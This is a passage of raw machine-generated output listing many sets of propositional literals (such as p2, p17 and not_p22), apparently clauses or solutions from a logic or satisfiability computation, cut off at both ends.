p5, p8, p24, p14, p25, not_p4, not_p19} {not_p21, not_p16, p5, p8, p24, p14, p25, not_p4, not_p19} {not_p21, p2, p5, p8, p24, p14, p25, not_p4, not_p19} {not_p21, p18, p1, p5, p8, p24, p14, p25, not_p4, not_p19} {not_p21, p20, p1, p5, p8, p24, p14, p25, not_p4, not_p19} {p1, p22, p5, not_p15, p6, p8, p24, p14, not_p4} {p22, not_p16, p5, p6, p8, p24, p14, not_p4} {p22, p2, p5, p6, p8, p24, p14, not_p4} {p18, p1, not_p12, not_p5, p5, not_p15, p6, p8, p24, p14, p25, not_p4} {p20, p1, not_p12, not_p5, p5, not_p15, p6, p8, p24, p14, p25, not_p4} {not_p16, not_p12, not_p5, p5, p6, p8, p24, p14, p25, not_p4} {p2, not_p12, not_p5, p5, p6, p8, p24, p14, p25, not_p4} {not_p21, p18, p1, not_p5, p5, not_p15, p6, p8, p24, p14, p25, not_p4} {not_p21, p20, p1, not_p5, p5, not_p15, p6, p8, p24, p14, p25, not_p4} {not_p21, not_p16, not_p5, p5, p6, p8, p24, p14, p25, not_p4} {not_p21, p2, not_p5, p5, p6, p8, p24, p14, p25, not_p4} {p2, not_p12, not_p5, p11, p8, not_p3, not_p4, not_p22, not_p19} {p22, p2, not_p5, p11, p8, not_p3, not_p4, not_p22, not_p19} {not_p21, p2, not_p5, p11, p8, not_p3, not_p4, not_p22, not_p19} {p2, not_p12, not_p5, p11, p8, not_p25, not_p4, not_p22, not_p19} {p22, p2, not_p5, p11, p8, not_p25, not_p4, not_p22, not_p19} {not_p21, p2, not_p5, p11, p8, not_p25, not_p4, not_p22, not_p19} {p2, not_p12, not_p5, p11, p8, p9, not_p4, not_p22, not_p19} {p22, p2, not_p5, p11, p8, p9, not_p4, not_p22, not_p19} {not_p21, p2, not_p5, p11, p8, p9, not_p4, not_p22, not_p19} {p2, not_p12, not_p5, p11, p8, p14, p21, not_p4, not_p22, not_p19} {p2, not_p12, not_p5, p11, not_p20, p8, p14, not_p4, not_p22, not_p19} {p22, p2, not_p5, p11, p8, p14, p21, not_p4, not_p22, not_p19} {not_p21, p2, not_p5, p11, p8, p14, p21, not_p4, not_p22, not_p19} {p22, p2, not_p5, p11, not_p20, p8, p14, not_p4, not_p22, not_p19} {not_p21, p2, not_p5, p11, not_p20, p8, p14, not_p4, not_p22, not_p19} {p2, not_p12, not_p5, p11, p8, not_p8, not_p3, not_p4, not_p22} {p22, p2, not_p5, p11, p8, not_p8, not_p3, not_p4, not_p22} {not_p21, p2, not_p5, p11, p8, not_p8, not_p3, not_p4, not_p22} {p2, not_p12, not_p5, p6, p11, p8, not_p3, not_p4, not_p22} {p22, p2, not_p5, p6, p11, p8, not_p3, not_p4, not_p22} {not_p21, p2, not_p5, p6, p11, p8, not_p3, not_p4, not_p22} {p2, not_p12, not_p5, p11, p8, not_p8, not_p25, not_p4, not_p22} {p22, p2, not_p5, p11, p8, not_p8, not_p25, not_p4, not_p22} {not_p21, p2, not_p5, p11, p8, not_p8, not_p25, not_p4, not_p22} {p2, not_p12, not_p5, p6, p11, p8, not_p25, not_p4, not_p22} {p22, p2, not_p5, p6, p11, p8, not_p25, not_p4, not_p22} {not_p21, p2, not_p5, p6, p11, p8, not_p25, not_p4, not_p22} {p2, not_p12, not_p5, p11, p8, not_p8, p9, not_p4, not_p22} {p22, p2, not_p5, p11, p8, not_p8, p9, not_p4, not_p22} {not_p21, p2, not_p5, p11, p8, not_p8, p9, not_p4, not_p22} {p2, not_p12, not_p5, p11, p8, not_p8, p14, p21, not_p4, not_p22} {p2, not_p12, not_p5, p11, not_p20, p8, not_p8, p14, not_p4, not_p22} {p22, p2, not_p5, p11, p8, not_p8, p14, p21, not_p4, not_p22} {p22, p2, not_p5, p11, not_p20, p8, not_p8, p14, not_p4, not_p22} {not_p21, p2, not_p5, p11, p8, not_p8, p14, p21, not_p4, not_p22} {not_p21, p2, not_p5, p11, not_p20, p8, not_p8, p14, not_p4, not_p22} {p2, not_p12, not_p5, p6, p11, p8, p9, not_p4, not_p22} {p22, p2, not_p5, p6, p11, p8, p9, not_p4, not_p22} {not_p21, p2, not_p5, p6, p11, p8, p9, not_p4, not_p22} {p2, not_p12, not_p5, p6, p11, p8, p14, p21, not_p4, not_p22} {p22, p2, not_p5, p6, p11, p8, p14, p21, not_p4, not_p22} {not_p21, p2, not_p5, p6, p11, p8, p14, p21, not_p4, not_p22} {p22, p2, not_p5, p6, p11, not_p20, p8, p14, not_p4, not_p22} {p2, not_p12, not_p5, p6, p11, not_p20, p8, p14, not_p4, not_p22} {not_p21, p2, not_p5, p6, p11, not_p20, p8, p14, not_p4, not_p22} {p2, p3, not_p12, not_p5, p8, not_p3, not_p4, not_p22, not_p19} {p22, p2, p3, not_p5, p8, not_p3, not_p4, not_p22, not_p19} {not_p21, p2, p3, not_p5, p8, not_p3, not_p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p8, not_p25, not_p4, not_p22, not_p19} {p22, p2, p3, not_p5, p8, not_p25, not_p4, not_p22, not_p19} {not_p21, p2, p3, not_p5, p8, not_p25, not_p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p8, p9, not_p4, not_p22, not_p19} {p22, p2, p3, not_p5, p8, p9, not_p4, not_p22, not_p19} {not_p21, p2, p3, not_p5, p8, p9, not_p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p8, p14, p21, not_p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, not_p20, p8, p14, not_p4, not_p22, not_p19} {p12, p2, p3, not_p12, not_p5, p8, p14, not_p4, not_p22, not_p19} {p22, p2, p3, not_p5, p8, p14, p21, not_p4, not_p22, not_p19} {p22, p2, p3, not_p5, not_p20, p8, p14, not_p4, not_p22, not_p19} {p22, p12, p2, p3, not_p5, p8, p14, not_p4, not_p22, not_p19} {not_p21, p2, p3, not_p5, p8, p14, p21, not_p4, not_p22, not_p19} {not_p21, p2, p3, not_p5, not_p20, p8, p14, not_p4, not_p22, not_p19} {not_p21, p12, p2, p3, not_p5, p8, p14, not_p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p8, not_p8, not_p3, not_p4, not_p22} {p22, p2, p3, not_p5, p8, not_p8, not_p3, not_p4, not_p22} {not_p21, p2, p3, not_p5, p8, not_p8, not_p3, not_p4, not_p22} {p2, p3, not_p12, not_p5, p6, p8, not_p3, not_p4, not_p22} {p22, p2, p3, not_p5, p6, p8, not_p3, not_p4, not_p22} {not_p21, p2, p3, not_p5, p6, p8, not_p3, not_p4, not_p22} {p2, p3, not_p12, not_p5, p17, not_p20, p8, not_p3, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p17, p8, not_p3, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p17, p8, not_p3, p21, p25, not_p4, not_p22} {p22, p2, p3, not_p5, p17, not_p20, p8, not_p3, not_p4, not_p22} {p22, p2, p3, not_p5, p17, p8, not_p3, p21, p25, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p17, p8, not_p3, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p17, not_p20, p8, not_p3, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p17, p8, not_p3, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p17, p8, not_p3, p21, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p8, not_p8, not_p25, not_p4, not_p22} {p22, p2, p3, not_p5, p8, not_p8, not_p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p8, not_p8, not_p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p6, p8, not_p25, not_p4, not_p22} {p22, p2, p3, not_p5, p6, p8, not_p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p6, p8, not_p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p17, not_p20, p8, not_p25, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p17, p8, not_p25, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p17, p8, not_p25, p21, p25, not_p4, not_p22} {p22, p2, p3, not_p5, p17, not_p20, p8, not_p25, not_p4, not_p22} {p22, p2, p3, not_p5, p17, p8, not_p25, p21, p25, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p17, p8, not_p25, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p17, not_p20, p8, not_p25, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p17, p8, not_p25, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p17, p8, not_p25, p21, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p8, not_p8, p9, not_p4, not_p22} {p22, p2, p3, not_p5, p8, not_p8, p9, not_p4, not_p22} {not_p21, p2, p3, not_p5, p8, not_p8, p9, not_p4, not_p22} {p2, p3, not_p12, not_p5, p6, p8, p9, not_p4, not_p22} {p22, p2, p3, not_p5, p6, p8, p9, not_p4, not_p22} {not_p21, p2, p3, not_p5, p6, p8, p9, not_p4, not_p22} {p2, p3, not_p12, not_p5, p17, not_p20, p8, p9, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p17, p8, p9, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p17, p8, p9, p21, p25, not_p4, not_p22} {p22, p2, p3, not_p5, p17, not_p20, p8, p9, not_p4, not_p22} {p22, p2, p3, not_p5, p17, p8, p9, p21, p25, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p17, p8, p9, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p17, not_p20, p8, p9, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p17, p8, p9, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p17, p8, p9, p21, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p8, not_p8, p14, p21, not_p4, not_p22} {p22, p2, p3, not_p5, p8, not_p8, p14, p21, not_p4, not_p22} {not_p21, p2, p3, not_p5, p8, not_p8, p14, p21, not_p4, not_p22} {p2, p3, not_p12, not_p5, not_p20, p8, not_p8, p14, not_p4, not_p22} {p22, p2, p3, not_p5, not_p20, p8, not_p8, p14, not_p4, not_p22} {not_p21, p2, p3, not_p5, not_p20, p8, not_p8, p14, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p8, not_p8, p14, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p8, not_p8, p14, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p8, not_p8, p14, not_p4, not_p22} {p2, p3, not_p12, not_p5, p6, p8, p14, p21, not_p4, not_p22} {p22, p2, p3, not_p5, p6, p8, p14, p21, not_p4, not_p22} {not_p21, p2, p3, not_p5, p6, p8, p14, p21, not_p4, not_p22} {p2, p3, not_p12, not_p5, p6, not_p20, p8, p14, not_p4, not_p22} {p22, p2, p3, not_p5, p6, not_p20, p8, p14, not_p4, not_p22} {not_p21, p2, p3, not_p5, p6, not_p20, p8, p14, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p6, p8, p14, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p6, p8, p14, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p6, p8, p14, not_p4, not_p22} {p2, p3, not_p12, not_p5, p17, not_p20, p8, p14, not_p4, not_p22} {p22, p2, p3, not_p5, p17, not_p20, p8, p14, not_p4, not_p22} {not_p21, p2, p3, not_p5, p17, not_p20, p8, p14, not_p4, not_p22} {p2, p3, not_p12, not_p5, p17, p8, p14, p21, p25, not_p4, not_p22} {p22, p2, p3, not_p5, p17, p8, p14, p21, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p17, p8, p14, p21, p25, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p17, p8, p14, p25, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p17, p8, p14, p25, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p17, p8, p14, p25, not_p4, not_p22} {p22, p2, p3, p5, p17, p8, p14, not_p4, not_p22} {p22, p2, p3, p5, p17, p8, not_p3, not_p4, not_p22} {p22, p2, p3, p5, p17, p8, not_p25, not_p4, not_p22} {p22, p2, p3, p5, p17, p8, p9, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p17, p8, not_p3, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, p8, not_p3, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p17, p8, not_p3, p21, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, p8, not_p3, p21, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p17, p8, not_p25, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, p8, not_p25, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p17, p8, not_p25, p21, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, p8, not_p25, p21, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p17, p8, p14, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, p8, p14, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p17, p8, p14, p21, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, p8, p14, p21, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p17, p8, p9, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, p8, p9, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p17, p8, p9, p21, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, p8, p9, p21, not_p4, not_p22} {p22, p2, p5, p11, p8, not_p8, p14, not_p4, not_p22} {p22, p2, p3, p5, p8, not_p8, p14, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p8, not_p8, p14, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p8, not_p8, p14, p25, not_p4, not_p22} {p22, p2, p5, p11, p8, p14, not_p4, not_p22, not_p19} {p22, p2, p3, p5, p8, p14, not_p4, not_p22, not_p19} {p2, not_p12, p5, p11, p8, p14, p25, not_p4, not_p22, not_p19} {not_p21, p2, p5, p11, p8, p14, p25, not_p4, not_p22, not_p19} {p2, p3, not_p12, p5, p8, p14, p25, not_p4, not_p22, not_p19} {not_p21, p2, p3, p5, p8, p14, p25, not_p4, not_p22, not_p19} {p22, p2, p5, p6, p11, p8, p14, not_p4, not_p22} {p22, p2, p3, p5, p6, p8, p14, not_p4, not_p22} {p2, not_p12, not_p5, p5, p6, p11, p8, p14, p25, not_p4, not_p22} {not_p21, p2, not_p5, p5, p6, p11, p8, p14, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p6, p8, p14, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p6, p8, p14, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p17, not_p20, p14, p4, not_p22} {p22, p2, p3, not_p5, p17, not_p20, p14, p4, not_p22} {not_p21, p2, p3, not_p5, p17, not_p20, p14, p4, not_p22} {p2, p3, not_p12, not_p5, p17, not_p20, not_p3, p4, not_p22} {p22, p2, p3, not_p5, p17, not_p20, not_p3, p4, not_p22} {not_p21, p2, p3, not_p5, p17, not_p20, not_p3, p4, not_p22} {p2, p3, not_p12, not_p5, p17, not_p20, not_p25, p4, not_p22} {p22, p2, p3, not_p5, p17, not_p20, not_p25, p4, not_p22} {not_p21, p2, p3, not_p5, p17, not_p20, not_p25, p4, not_p22} {p2, p3, not_p12, not_p5, p17, not_p20, p9, p4, not_p22} {p22, p2, p3, not_p5, p17, not_p20, p9, p4, not_p22} {not_p21, p2, p3, not_p5, p17, not_p20, p9, p4, not_p22} {p2, p3, not_p12, not_p5, p17, p14, p21, p25, p4, not_p22} {p22, p2, p3, not_p5, p17, p14, p21, p25, p4, not_p22} {not_p21, p2, p3, not_p5, p17, p14, p21, p25, p4, not_p22} {p2, p3, not_p12, not_p5, p17, not_p3, p21, p25, p4, not_p22} {p22, p2, p3, not_p5, p17, not_p3, p21, p25, p4, not_p22} {not_p21, p2, p3, not_p5, p17, not_p3, p21, p25, p4, not_p22} {p2, p3, not_p12, not_p5, p17, not_p25, p21, p25, p4, not_p22} {p22, p2, p3, not_p5, p17, not_p25, p21, p25, p4, not_p22} {not_p21, p2, p3, not_p5, p17, not_p25, p21, p25, p4, not_p22} {p2, p3, not_p12, not_p5, p17, p9, p21, p25, p4, not_p22} {p22, p2, p3, not_p5, p17, p9, p21, p25, p4, not_p22} {not_p21, p2, p3, not_p5, p17, p9, p21, p25, p4, not_p22} {p22, p12, p2, p3, not_p5, p17, p14, p25, p4, not_p22} {p22, p12, p2, p3, not_p5, p17, not_p3, p25, p4, not_p22} {p22, p12, p2, p3, not_p5, p17, not_p25, p25, p4, not_p22} {p22, p12, p2, p3, not_p5, p17, p9, p25, p4, not_p22} {p12, p2, p3, not_p12, not_p5, p17, not_p3, p25, p4, not_p22} {not_p21, p12, p2, p3, not_p5, p17, not_p3, p25, p4, not_p22} {p12, p2, p3, not_p12, not_p5, p17, p14, p25, p4, not_p22} {p12, p2, p3, not_p12, not_p5, p17, not_p25, p25, p4, not_p22} {p12, p2, p3, not_p12, not_p5, p17, p9, p25, p4, not_p22} {not_p21, p12, p2, p3, not_p5, p17, p14, p25, p4, not_p22} {not_p21, p12, p2, p3, not_p5, p17, not_p25, p25, p4, not_p22} {not_p21, p12, p2, p3, not_p5, p17, p9, p25, p4, not_p22} {p2, not_p12, not_p5, p17, p11, p14, p21, not_p4, not_p22} {p22, p2, not_p5, p17, p11, p14, p21, not_p4, not_p22} {not_p21, p2, not_p5, p17, p11, p14, p21, not_p4, not_p22} {p2, not_p12, not_p5, p17, p11, not_p3, p21, not_p4, not_p22} {p22, p2, not_p5, p17, p11, not_p3, p21, not_p4, not_p22} {not_p21, p2, not_p5, p17, p11, not_p3, p21, not_p4, not_p22} {p2, not_p12, not_p5, p17, p11, not_p25, p21, not_p4, not_p22} {p22, p2, not_p5, p17, p11, not_p25, p21, not_p4, not_p22} {not_p21, p2, not_p5, p17, p11, not_p25, p21, not_p4, not_p22} {p2, not_p12, not_p5, p17, p11, p9, p21, not_p4, not_p22} {p22, p2, not_p5, p17, p11, p9, p21, not_p4, not_p22} {not_p21, p2, not_p5, p17, p11, p9, p21, not_p4, not_p22} {p2, not_p12, not_p5, p17, p11, not_p20, not_p3, not_p4, not_p22} {p22, p2, not_p5, p17, p11, not_p20, not_p3, not_p4, not_p22} {not_p21, p2, not_p5, p17, p11, not_p20, not_p3, not_p4, not_p22} {p12, p2, not_p12, not_p5, p17, p11, not_p3, not_p4, not_p22} {p22, p12, p2, not_p5, p17, p11, not_p3, not_p4, not_p22} {not_p21, p12, p2, not_p5, p17, p11, not_p3, not_p4, not_p22} {p2, not_p12, not_p5, p17, p11, not_p20, not_p25, not_p4, not_p22} {p22, p2, not_p5, p17, p11, not_p20, not_p25, not_p4, not_p22} {not_p21, p2, not_p5, p17, p11, not_p20, not_p25, not_p4, not_p22} {p12, p2, not_p12, not_p5, p17, p11, not_p25, not_p4, not_p22} {p22, p12, p2, not_p5, p17, p11, not_p25, not_p4, not_p22} {not_p21, p12, p2, not_p5, p17, p11, not_p25, not_p4, not_p22} {p2, not_p12, not_p5, p17, p11, not_p20, p14, not_p4, not_p22} {p22, p2, not_p5, p17, p11, not_p20, p14, not_p4, not_p22} {not_p21, p2, not_p5, p17, p11, not_p20, p14, not_p4, not_p22} {p2, not_p12, not_p5, p17, p11, not_p20, p9, not_p4, not_p22} {p22, p2, not_p5, p17, p11, not_p20, p9, not_p4, not_p22} {not_p21, p2, not_p5, p17, p11, not_p20, p9, not_p4, not_p22} {p12, p2, not_p12, not_p5, p17, p11, p9, not_p4, not_p22} {p22, p12, p2, not_p5, p17, p11, p9, not_p4, not_p22} {not_p21, p12, p2, not_p5, p17, p11, p9, not_p4, not_p22} {p12, p2, not_p12, not_p5, p17, p11, p14, not_p4, not_p22} {p22, p12, p2, not_p5, p17, p11, p14, not_p4, not_p22} {not_p21, p12, p2, not_p5, p17, p11, p14, not_p4, not_p22} {p2, p3, not_p12, not_p5, p16, p17, not_p20, p14, not_p4, not_p22} {p22, p2, p3, not_p5, p16, p17, not_p20, p14, not_p4, not_p22} {not_p21, p2, p3, not_p5, p16, p17, not_p20, p14, not_p4, not_p22} {p2, p3, not_p12, not_p5, p16, p17, not_p20, not_p3, not_p4, not_p22} {p22, p2, p3, not_p5, p16, p17, not_p20, not_p3, not_p4, not_p22} {not_p21, p2, p3, not_p5, p16, p17, not_p20, not_p3, not_p4, not_p22} {p2, p3, not_p12, not_p5, p16, p17, not_p20, not_p25, not_p4, not_p22} {p22, p2, p3, not_p5, p16, p17, not_p20, not_p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p16, p17, not_p20, not_p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p16, p17, not_p20, p9, not_p4, not_p22} {p22, p2, p3, not_p5, p16, p17, not_p20, p9, not_p4, not_p22} {not_p21, p2, p3, not_p5, p16, p17, not_p20, p9, not_p4, not_p22} {p2, p3, not_p12, not_p5, p16, p17, p14, p21, p25, not_p4, not_p22} {p22, p2, p3, not_p5, p16, p17, p14, p21, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p16, p17, p14, p21, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p16, p17, not_p3, p21, p25, not_p4, not_p22} {p22, p2, p3, not_p5, p16, p17, not_p3, p21, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p16, p17, not_p3, p21, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p16, p17, not_p25, p21, p25, not_p4, not_p22} {p22, p2, p3, not_p5, p16, p17, not_p25, p21, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p16, p17, not_p25, p21, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p16, p17, p9, p21, p25, not_p4, not_p22} {p22, p2, p3, not_p5, p16, p17, p9, p21, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p16, p17, p9, p21, p25, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p16, p17, not_p3, p25, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p16, p17, not_p3, p25, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p16, p17, not_p3, p25, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p16, p17, p14, p25, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p16, p17, p14, p25, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p16, p17, p14, p25, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p16, p17, not_p25, p25, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p16, p17, not_p25, p25, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p16, p17, not_p25, p25, not_p4, not_p22} {p12, p2, p3, not_p12, not_p5, p16, p17, p9, p25, not_p4, not_p22} {p22, p12, p2, p3, not_p5, p16, p17, p9, p25, not_p4, not_p22} {not_p21, p12, p2, p3, not_p5, p16, p17, p9, p25, not_p4, not_p22} {p22, p2, p3, p5, p17, p14, p4, not_p22} {p22, p2, p3, p5, p17, not_p3, p4, not_p22} {p22, p2, p3, p5, p17, not_p25, p4, not_p22} {p22, p2, p3, p5, p17, p9, p4, not_p22} {p2, p3, not_p12, p5, p17, not_p3, p25, p4, not_p22, not_p19} {not_p21, p2, p3, p5, p17, not_p3, p25, p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p5, p17, not_p3, p25, p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, not_p3, p25, p4, not_p22} {p2, p3, not_p12, p5, p17, not_p3, p21, p4, not_p22, not_p19} {not_p21, p2, p3, p5, p17, not_p3, p21, p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p5, p17, not_p3, p21, p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, not_p3, p21, p4, not_p22} {p2, p3, not_p12, p5, p17, p14, p25, p4, not_p22, not_p19} {not_p21, p2, p3, p5, p17, p14, p25, p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p5, p17, p14, p25, p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, p14, p25, p4, not_p22} {p2, p3, not_p12, p5, p17, p14, p21, p4, not_p22, not_p19} {not_p21, p2, p3, p5, p17, p14, p21, p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p5, p17, p14, p21, p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, p14, p21, p4, not_p22} {p2, p3, not_p12, p5, p17, not_p25, p25, p4, not_p22, not_p19} {not_p21, p2, p3, p5, p17, not_p25, p25, p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p5, p17, not_p25, p25, p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, not_p25, p25, p4, not_p22} {p2, p3, not_p12, p5, p17, not_p25, p21, p4, not_p22, not_p19} {not_p21, p2, p3, p5, p17, not_p25, p21, p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p5, p17, not_p25, p21, p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, not_p25, p21, p4, not_p22} {p2, p3, not_p12, p5, p17, p9, p25, p4, not_p22, not_p19} {not_p21, p2, p3, p5, p17, p9, p25, p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p5, p17, p9, p25, p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, p9, p25, p4, not_p22} {p2, p3, not_p12, p5, p17, p9, p21, p4, not_p22, not_p19} {not_p21, p2, p3, p5, p17, p9, p21, p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p5, p17, p9, p21, p4, not_p22} {not_p21, p2, p3, not_p5, p5, p17, p9, p21, p4, not_p22} {p22, p2, p5, p17, p11, not_p3, not_p4, not_p22} {p22, p2, p5, p17, p11, not_p25, not_p4, not_p22} {p22, p2, p5, p17, p11, p9, not_p4, not_p22} {p22, p2, p5, p17, p11, p14, not_p4, not_p22} {p2, not_p12, p5, p17, p11, not_p3, not_p4, not_p22, not_p19} {not_p21, p2, p5, p17, p11, not_p3, not_p4, not_p22, not_p19} {p2, not_p12, not_p5, p5, p17, p11, not_p3, not_p4, not_p22} {not_p21, p2, not_p5, p5, p17, p11, not_p3, not_p4, not_p22} {p2, not_p12, p5, p17, p11, not_p25, not_p4, not_p22, not_p19} {not_p21, p2, p5, p17, p11, not_p25, not_p4, not_p22, not_p19} {p2, not_p12, not_p5, p5, p17, p11, not_p25, not_p4, not_p22} {not_p21, p2, not_p5, p5, p17, p11, not_p25, not_p4, not_p22} {p2, not_p12, p5, p17, p11, p9, not_p4, not_p22, not_p19} {not_p21, p2, p5, p17, p11, p9, not_p4, not_p22, not_p19} {p2, not_p12, not_p5, p5, p17, p11, p9, not_p4, not_p22} {not_p21, p2, not_p5, p5, p17, p11, p9, not_p4, not_p22} {p2, not_p12, p5, p17, p11, p14, p25, not_p4, not_p22, not_p19} {not_p21, p2, p5, p17, p11, p14, p25, not_p4, not_p22, not_p19} {p2, not_p12, not_p5, p5, p17, p11, p14, p25, not_p4, not_p22} {not_p21, p2, not_p5, p5, p17, p11, p14, p25, not_p4, not_p22} {p22, p2, p3, p5, p16, p17, p14, not_p4, not_p22} {p22, p2, p3, p5, p16, p17, not_p3, not_p4, not_p22} {p22, p2, p3, p5, p16, p17, not_p25, not_p4, not_p22} {p22, p2, p3, p5, p16, p17, p9, not_p4, not_p22} {p2, p3, not_p12, p5, p16, p17, not_p3, p25, not_p4, not_p22, not_p19} {not_p21, p2, p3, p5, p16, p17, not_p3, p25, not_p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p5, p16, p17, not_p3, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p16, p17, not_p3, p25, not_p4, not_p22} {p2, p3, not_p12, p5, p16, p17, not_p3, p21, not_p4, not_p22, not_p19} {not_p21, p2, p3, p5, p16, p17, not_p3, p21, not_p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p5, p16, p17, not_p3, p21, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p16, p17, not_p3, p21, not_p4, not_p22} {p2, p3, not_p12, p5, p16, p17, p14, p25, not_p4, not_p22, not_p19} {p2, p3, not_p12, p5, p16, p17, not_p25, p25, not_p4, not_p22, not_p19} {p2, p3, not_p12, p5, p16, p17, p9, p25, not_p4, not_p22, not_p19} {not_p21, p2, p3, p5, p16, p17, p14, p25, not_p4, not_p22, not_p19} {not_p21, p2, p3, p5, p16, p17, not_p25, p25, not_p4, not_p22, not_p19} {not_p21, p2, p3, p5, p16, p17, p9, p25, not_p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p5, p16, p17, p14, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p16, p17, not_p25, p25, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p16, p17, p9, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p16, p17, p14, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p16, p17, not_p25, p25, not_p4, not_p22} {not_p21, p2, p3, not_p5, p5, p16, p17, p9, p25, not_p4, not_p22} {p2, p3, not_p12, p5, p16, p17, p14, p21, not_p4, not_p22, not_p19} {p2, p3, not_p12, p5, p16, p17, not_p25, p21, not_p4, not_p22, not_p19} {p2, p3, not_p12, p5, p16, p17, p9, p21, not_p4, not_p22, not_p19} {not_p21, p2, p3, p5, p16, p17, p14, p21, not_p4, not_p22, not_p19} {not_p21, p2, p3, p5, p16, p17, not_p25, p21, not_p4, not_p22, not_p19} {not_p21, p2, p3, p5, p16, p17, p9, p21, not_p4, not_p22, not_p19} {p2, p3, not_p12, not_p5, p5, p16, p17, p14, p21, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p16, p17, not_p25, p21, not_p4, not_p22} {p2, p3, not_p12, not_p5, p5, p16, p17, 